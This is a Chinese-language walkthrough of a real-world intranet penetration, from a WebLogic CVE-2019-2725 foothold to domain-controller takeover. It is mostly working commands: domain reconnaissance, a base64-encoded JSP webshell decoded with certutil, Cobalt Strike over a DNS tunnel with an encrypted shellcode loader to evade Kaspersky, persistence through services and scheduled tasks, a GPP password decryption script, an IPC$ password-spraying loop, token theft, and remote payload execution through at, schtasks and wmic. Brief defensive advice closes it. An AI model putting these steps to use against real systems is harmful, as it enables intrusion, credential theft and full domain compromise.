一次真实内网渗透
字数 1367 2025-08-06 08:35:44
内网渗透实战教学文档
1. 前期准备与打点
1.1 目标识别
- 目标外网IP: wip1
- 发现WebLogic服务: 访问http://wip1/并添加随意路径确认
1.2 初始入侵
- 利用WebLogic漏洞CVE-2019-2725成功获取初始访问权限
- 获取SYSTEM权限后开始信息收集
2. 信息收集
2.1 基础信息收集
ipconfig /all # 发现域: gxxxxxxxxx.com
whoami /all # 确认当前权限为SYSTEM
net user /domain # 查看域用户
net group "domain admins" /domain # 查看域管理员(发现administrator)
net group "domain computers" /domain # 查看域内主机名
net group "domain controllers" /domain # 查看域控主机名
ping 域控主机名 # 获取3台域控的IP
2.2 环境分析
tasklist # 查看进程(发现卡巴斯基杀毒软件)
netstat -ano # 查看端口开放情况
arp -a # 推测内网IP段和存活主机
query user || qwinsta # 查看当前登录用户(wip1/administrator登录中)
2.3 网络拓扑发现
- 当前主机内网IP: 192.xx.xx.x5
- 发现两个内网段: 10.xx.xx.xx和192.xx.xx.xx
- 域控IP:
- 192.xx.xx.x3
- 192.xx.xx.x2
- 10.xx.xx.x2
3. 权限维持与C2上线
3.1 绕过杀软与持久化
- 使用base64编码写入JSP马(哥斯拉)
- 使用certutil解码:
Certutil -decode a.txt a.jsp
3.2 Cobalt Strike上线
- 挑战: 存在卡巴斯基且机器可能无法出网
- 解决方案:
- DNS隧道
- 加载器加载加密的shellcode
DNS配置:
- 购买域名并添加DNS记录
- CS中配置Stageless的shellcode(避免上线慢或失败)
3.3 持久化技术
# 创建自启动服务
sc create "xxx" binpath= "cmd /c start "C:/windows/temp/xxx.bat"" && sc config "xxx" start= auto && net start xxx
# 创建定时任务(每周运行一次)
schtasks /create /tn "xxx" /tr "C:/windows/temp/xxx.bat" /sc weekly /mo 1 /ru system
schtasks /run /tn "xxx"
4. 横向移动技术
4.1 密码信息收集
# 查找GPP中的密码
dir \\域名\sysvol\域名\
findstr /s /i /m /c:"password" \\域名\SYSVOL\域名\Policies*.xml
# 查看加密密码并解密(使用Python脚本)
GPP密码解密脚本:
import sys
from Crypto.Cipher import AES
from base64 import b64decode
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
cpassword = "加密的字符串"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
print o[:-ord(o[-1])].decode('utf16')
4.2 其他凭证收集
- 使用loagonpasswords抓取本地administrator密码
- 数据库账号密码、RDP登录凭证、浏览器密码(未尝试)
4.3 主机发现技术
- 通过domain computers组获取主机名 + ping
- 通过SPN获取主机名:
setspn -t /domain -q */* > spn.txt
4.4 横向渗透实战
- 批量尝试IPC$连接:
for /L %I in (1,1,254) do @net use \192.xx.xx.%I\ipc$ "密码" /user:administrator
- 查找有管理员登录的主机:
tasklist /s ip /v
-
发现目标主机192.xx.xx.x0:
- 有域管进程
- 存在卡巴斯基
-
手动横向技术:
- 进程注入获取本地管理员权限
- 令牌窃取获取本地管理员权限
- 复制shellcode和加载器到目标主机
- 使用at定时任务上线:
net time \\ip2 # 查看远程主机时间
at time \ip 12:57 xxx.bat
- 替代方案(当at不可用时):
schtasks /create /F /s 192.xx.xx.x0 /u administrator /p "密码" /tn test /tr "c:\windows\temp\xxxxx.bat" /sc DAILY /mo 1 /st 13:20
5. 域控攻陷
5.1 获取域管理员权限
- 通过令牌窃取获取域管理员权限: gxxxxxxxxxxx\administrator
5.2 攻击域控
- 使用WMIC执行命令:
wmic /node:192.xx.xx.x3 process call create "cmd.exe /c whoami>f:\xxx\xxx\result.txt"
- 复制并执行payload:
wmic /node:192.xx.xx.x3 process call create "cmd.exe /c f:\xx\xxx\xx.bat"
5.3 其他技术
- 使用frp访问内网web服务
- 发现弱口令并设置域策略
6. 关键要点总结
-
初始入侵:
- WebLogic漏洞利用(CVE-2019-2725)
- 快速获取SYSTEM权限
-
绕过杀软:
- DNS隧道
- 加密shellcode加载器
- 多种持久化技术(服务、计划任务)
-
信息收集:
- 全面的域环境信息收集
- GPP密码查找与解密
- 多维度主机发现技术
-
横向移动:
- 多种横向技术组合使用(at、schtasks、wmic)
- 根据环境灵活调整策略(杀软存在时)
-
域控攻陷:
- 令牌窃取快速获取域管权限
- 多种远程执行技术确保成功率
-
隐蔽性:
- 使用云函数做中转隐藏C2
- 多种通信方式组合(DNS、HTTP)
7. 防御建议
-
修补漏洞:
- 及时更新WebLogic等中间件
-
权限控制:
- 限制域管理员登录范围
- 实施最小权限原则
-
监控措施:
- 监控异常计划任务创建
- 监控WMIC等工具的异常使用
-
密码安全:
- 定期更换密码
- 删除GPP中的密码策略
-
杀毒软件:
- 保持杀毒软件更新
- 监控绕过行为
-
网络分段:
- 实施严格的网络分段
- 监控异常内网流量